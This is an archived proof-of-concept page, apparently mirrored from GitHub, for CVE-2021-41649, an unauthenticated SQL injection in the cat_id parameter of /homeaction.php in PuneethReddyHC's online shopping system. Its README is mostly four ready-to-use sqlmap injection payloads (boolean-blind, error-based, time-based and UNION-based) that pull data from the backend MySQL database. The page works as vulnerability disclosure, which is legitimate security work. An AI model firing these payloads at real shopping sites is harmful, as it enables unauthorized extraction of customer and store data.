Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-41649 PoC — PuneethReddyHc Online Shopping System Advanced SQL注入漏洞

Source
Associated Vulnerability
Title:PuneethReddyHc Online Shopping System Advanced SQL注入漏洞 (CVE-2021-41649)
Description:PuneethReddyHc Online Shopping System Advanced是印度Puneeth Reddy HC个人开发者的一个开源在线购物系统。 PuneethReddyHc Online Shopping System Advanced 存在SQL注入漏洞,该漏洞源于/homeaction.php cat_id 参数。
Readme
# CVE-2021-41649

CVE-2021-41649 SQL Injection in online-shopping-system

The online-shopping-system is vulnerable to un-authenticated error/boolean-based blind & error based SQL Injection attacks.  <br/><br/>
The cat_id parameter on the /homeaction.php page does not sanitize the user input, an attacker can extract sensisitive data from the underlying MySQL Database.  <br/><br/> 

## Link To Application
[online-shopping-system](https://awesomeopensource.com/project/PuneethReddyHC/online-shopping-system)

## Affected Components & Parameter
URL: **/homeaction.php**  
PARAMETER: **cat_id**<br/><br/>

## Poc's

### SQLMAP PAYLOADS<br/>
### cat_id parameter on the /homeaction.php page
Parameter: cat_id (POST Request)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: `cat_id=4' AND 9760=9760 AND 'ZCfc'='ZCfc&get_seleted_Category=1`

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: `cat_id=4' AND (SELECT 4034 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT (ELT(4034=4034,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'sGIO'='sGIO&get_seleted_Category=1`

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: `cat_id=4' AND (SELECT 9762 FROM (SELECT(SLEEP(5)))PAcf) AND 'hpHO'='hpHO&get_seleted_Category=1`

Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: `cat_id=4' UNION ALL SELECT CONCAT(0x71707a7171,0x746e4d4b5a706566596771585179566943487446575673515244507a52507345694d6b5a754d7049,0x71787a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&get_seleted_Category=1`</br></br>

### If the POC Image is unclear, please click on the GIF which will load in a better resolution.

![ POC - proId ](https://github.com/MobiusBinary/F2/blob/main/online-shopping-systemcatID.gif) 


## Discovered by
Jason Colyvas  
[MOBIUSBINARY](https://mobiusbinary.com)  
September 21st, 2021
File Snapshot

[4.0K] /data/pocs/07f4f50e30a6990fa143480be3c0d6f8c01598dc ├── [1.7M] online-shopping-systemcatID.gif ├── [4.6M] online-shopping-system.gif └── [2.0K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.